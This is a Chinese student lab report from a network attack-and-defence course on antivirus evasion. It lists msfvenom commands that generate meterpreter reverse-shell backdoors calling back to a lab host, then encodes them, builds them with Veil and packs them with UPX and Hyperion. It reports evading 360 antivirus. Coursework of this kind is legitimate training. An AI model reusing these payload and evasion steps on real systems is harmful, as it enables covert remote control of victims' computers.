2018-2019-2 網絡對抗技術 20165322 Exp3 免殺原理與實踐

2018-2019-2 網絡對抗技術 20165322 Exp3 免殺原理與實踐

<div id=9>目錄</div>

實驗內容與步驟

實驗過程當中遇到的問題

基礎問題回答

實驗總結與體會

<div id=3>實驗內容與步驟</div>

<div id=31>正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,加殼工具,使用shellcode編程</div>

(一)正確使用msf編碼器

  • 用實驗二中生成的後門文件在VIRSCAN中測試(要把文件名改短) 能夠看到,這個後門也太容易被發現了!咱們要讓殺軟不察覺到它的存在,就要動一些手腳。
  • 嘗試用msf編碼器對後門程序進行一次到屢次的編碼
    • 1次編碼:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.132.137 LPORT=5322 -f exe > met-encoded.exe
    • 10次編碼:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.132.137 LPORT=5322 -f exe > met-encoded10.exe
      再次進行測試,發現較於以前並無改變。
  • 參數介紹
    • -p 使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode
    • -x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中
    • -e 使用的編碼器,用於對shellcode變形,爲了免殺
    • -i 編碼器的迭代次數。如上即便用該編碼器編碼5次
    • -b badchar 是payload中須要去除的字符
    • -f 生成文件的類型
    • > 輸出到哪一個文件
  • 被查殺緣由分析
    • 編碼器(這裏使用的是shikata_ga_nai)總會有解碼部分須要加入的exe中,只要盯住這部分就能夠了。
    • 模板就是msfvenom用來生成最終Exe的那個殼子exe文件,msfvenom會以固定的模板生成exe,全部它生成的exe,若是使用默認參數或模板,也有必定的固定特徵。

返回目錄php

(二)msfvenom生成如jar之類的其餘文件

  • 參考msfvenom生成各種Payload命令
  • 生成jar文件:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.132.137 lport=5322 x> 20165322_backdoor_java.jar
  • 生成php文件:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.132.137 lport=5322 x> 20165322_backdoor.php
  • 生成apk文件:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.132.137 LPORT=5322 R > 20165322_backdoor.apk
  • jar、 php、 apk的檢出率分別爲6/49 、1/49 、7/32,相較於直接生成exe文件已經好了許多,尤爲是php文件,在網站上只被一個殺軟查出病毒。或許咱們能夠巧妙利用這一點對後門程序作些手腳。

返回目錄html

(三)使用veil-evasion生成後門程序及檢測

  • 首先咱們須要安裝veil-evasion。因爲個人kali鏡像是18版的,參考曉暄的博客,輸入如下指令便可安裝成功(這裏裝以前須要update一下,個人源有點問題一開始沒成功)
mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil-evasion命令安裝Veil
  • 以後輸入veil打開veil,輸入y繼續安裝直至完成
  • 再次輸入veil便可進入應用界面
  • use evasion命令進入Evil-Evasion
  • 輸入命令use c/meterpreter/rev_tcp.py進入配置界面
  • 設置主機號set LHOST 192.168.132.137、端口號set LPORT 5322、輸入generate生成文件
  • 輸入想要生成的文件名(我這裏是veil_c_5322)。在上圖中找到路徑,能看到生成了一個exe文件。用virscan網站測試一下。
  • veil生成的後門也有很大被發現的可能。

返回目錄java

(四)利用shellcode編程

  • 環境用的是虛擬機kali和虛擬機win7
  • 使用msf生成一段c語言shellcode數組:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.117 LPORT=5322 -f c
  • 使用命令i686-w64-mingw32-g++ 20165322.c -o 20165322.exe編譯這個.c文件爲可執行文件;
  • 傳輸到目標win7主機後嘗試用msf控制檯回連失敗。參考羽昕的方法在windows環境下從新編譯了之後傳入win7裏……還沒來得及回連就被電腦管家查殺了 掃一掃……

返回目錄android

(五)加殼工具

壓縮殼
  • 對(四)裏的c生成的exe文件用壓縮殼。:upx wyj.exe -o wyj.upxed.exe
  • 到網站上掃一掃……
  • 放到電腦管家裏掃一掃…… 真的掃不出來了
加密殼
  • 將壓縮殼生成的文件拷貝到/usr/share/windows-binaries/hyperion/目錄下
  • 進入目錄/usr/share/windows-binaries/hyperion/
  • 輸入命令wine hyperion.exe -v wyj.upxed.exe wyj.up.hyp.exe進行加殼
  • 執行上一步時會出現大量err和一個圖標,不要擔憂,等待出現以下畫面便可
  • mfs控制檯成功鏈接被害機。。。不過我植入的加密殼後門一直運行不出來……編譯、更名、改兼容、關殺軟都試過了,甚至別人能跑的程序在我這也不能跑。。多是電腦的鍋(哭泣
  • 因此咱們仍是常規掃一掃吧……

返回目錄shell

<div id=32>經過組合應用各類技術實現惡意代碼免殺</div>

  • 咱們可使用msfvenom -l encoders查看可使用的編碼器來生成不一樣的後門
  • 隨眼緣使用x86/single_static_bit編碼方式生成一個迭代5次的c語言shellcode數組,編譯後生成exe文件
  • 而後對它加壓縮殼
  • 兩步均在開着殺軟的狀況下成功回連,掃描也沒有發現病毒
  • 分別對他們進行了掃描對比,如下分別爲無加殼與有加殼的掃描狀況。

返回目錄編程

<div id=33>用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本</div>

  • 被攻擊電腦殺軟名稱:360安全衛士
  • 版本:11.5.0.2002

返回目錄windows

<div id=4>實驗過程當中遇到的問題</div>

  • 個人鏡像是18版的,裝上veil之後並不像19版的同窗的veil能使用use來查看生成後門的方法。和老師上課的時候碰到的問題是同樣的。在veil裏update了一下,報錯以下: 數組

  • 查了一下緣由,好像是由於源的問題。暫時尚未找到能解決問題的源。不過靠直接輸入指令進入配置界面可以解決。安全

  • 將文件傳入windows的時候,ping網絡沒有ping通,把兩邊設置都改爲自動的橋接模式就能夠解決了。
    網絡

  • 運行加密殼生成的exe時,window顯示以下錯誤。。。一開始覺得是電腦兼容性的問題,結果用同窗運行成功的代碼來作仍是不行Orz……

返回目錄

<div id=5>基礎問題回答</div>

(1)殺軟是如何檢測出惡意代碼的?

  • 基於特徵碼的檢測,特徵碼通常是一段或多段數據
  • 啓發式惡意軟件檢測,片面地根據代碼的行爲去判斷,並不精確
  • 基於行爲的惡意軟件檢測,實時監控,是基於啓發式的掃描

(2)免殺是作什麼?

  • 免殺的目的就是爲了防止殺軟掃描出後門文件而後清除。
  • 免殺就是用一些針對殺軟掃描的手段,使得殺軟沒法識別出後門程序,從而偷偷在電腦裏運行。

(3)免殺的基本方法有哪些?

  • 總的來講就是改變特徵碼、改變行爲
  • 在本次實驗中用到的方法有:msfvenom生成如jar之類的其餘文件,veil-evasion,加殼工具,使用shellcode編程
  • 除此以外,使用修改編碼方式、或者直接對代碼進行加密、修改是更有效的手段

(4)開啓殺軟能絕對防止電腦中惡意代碼嗎? 固然不能。殺軟只能查到它的庫裏的特徵碼,根據程序行爲來判斷它是否安全。若是用一種它還未知的方法去攻破,它就絕不知情了。

返回目錄

<div id=6>實驗總結與體會</div>

  • 雖然老師在教程裏說「作一個免殺程序並不難」,可是經過此次實驗仍是以爲作一個能逃過主流殺毒軟件的免殺程序,真的很難,尤爲是像Microsoft Defender這樣的殺軟,它查殺的已經很全面了。目前我還沒法作出逃過它檢測的免殺代碼。360雖然沒那麼好用,不過也有很多同窗說,前幾天作出來的免殺代碼沒被掃出來,今天忽然就被掃出來了。可見殺軟仍是至關管用的。
  • 咱們要想作出一個隱蔽的免殺程序,最好的方法就是直接對程序作修改,經過知名工具作出來的免殺都很容易被殺軟發現。
  • 每一個殺軟都有其側重的地方,在我第二個實驗裏,加殼與不加殼掃描出來的結果相差並不大,也許有些殺軟能根據殼的特徵更容易檢測出病毒軟件。而像php類型的文件則很難被掃出來,緣由我猜想是運行文件多爲exe,因此各大殺軟公司都側重在exe文件上,其餘類型的則並無掃描的很完善。

返回目錄

ps一些鬧心的問題

  • 是的我此次實驗一開機……kali就很愉快的告訴我能夠更新一些系統裏的東西,手賤贊成了之後,它就卡在了Started update UTMP about system Runlevel一句,,上網一查居然是顯卡驅動的問題……附上兩個解決方案:1,2。。。emmm出於對時間的考慮我決定從新考一個虛擬機:)
  • 既然拷了別人的虛擬機……ok,附上修改root開機密碼的教程
相關文章
相關標籤/搜索